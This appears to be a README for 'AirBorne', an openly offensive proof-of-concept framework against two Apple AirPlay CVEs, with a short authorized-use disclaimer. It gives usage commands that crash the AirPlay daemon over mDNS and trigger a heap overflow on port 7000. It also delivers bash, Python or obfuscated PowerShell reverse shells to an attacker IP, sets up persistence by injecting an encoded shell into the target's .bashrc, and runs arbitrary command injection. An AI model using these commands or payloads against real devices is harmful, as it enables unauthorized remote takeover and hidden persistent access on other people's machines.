Full PoC Framework for CVE-2025-24252 & CVE-2025-24132
By ekomsSavior |
AirBorne is a combined proof-of-concept (PoC) framework targeting two serious vulnerabilities in Apple's AirPlay service. It includes a full crash trigger and a working reverse shell exploit with optional persistence, listener, and multiple payload formats — all in one script.
Looking for the original version?
The legacy edition is still available in thelegacybranch of this repository.
To check it out:
git checkout legacy- Triggers a crash in the AirPlayReceiver daemon via a malformed mDNS packet
- Works over UDP broadcast on port 5353
- Triggers a heap overflow in AirPlay's TCP service on port 7000
- Supports bash, python, and PowerShell reverse shell payloads
- Includes optional persistence using
.bashrcinjection (Linux)
git clone https://github.com/ekomsSavior/AirBorne-PoC.git
cd AirBorne-PoCsudo apt update
sudo apt install -y python3-scapy netcatThe single script airborne.py includes both PoCs and all logic:
- Select a CVE using
--exploit - Set a reverse shell payload using
--payload - Auto-starts a netcat listener for you
- Optionally enables persistence on target using
--persistent
sudo python3 airborne.py --exploit 24252 --interface wlan0Requires an interface in monitor mode.
Start full exploit with default bash shell:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99Choose Python shell instead:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --payload pythonEnable real persistence on Linux targets:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --persistentOnly shell command einjection
sudo python3 airborne_bash_command_injector.py --exploit 24132 --target 192.168.1.42 --command "command"| Payload | Description |
|---|---|
bash |
Default bash reverse shell over TCP |
python |
Python-based reverse shell using socket and pty |
powershell |
Full Windows PowerShell RCE payload (obfuscated) |
When using --persistent, the script will append the encoded reverse shell payload to the target’s:
~/.bashrcThis ensures a shell is returned to you each time the user logs in or a terminal is spawned.
- Reverse shells are encoded using
base64and delivered after buffer overflow - All payloads are sent via port 7000
- mDNS packets go over UDP 5353 and require raw socket permission
- Make sure your attack box IP is reachable by the target device
- Script handles basic error cases and fails silently if closed ports
This project is intended for educational, ethical, and authorized research only.
- You must have explicit permission to test the target system.
- You assume full responsibility for any actions taken.
Unauthorized exploitation of systems is illegal and unethical.
- Built by ekomsSavior
- Inspired by real-world CVEs and exploit development research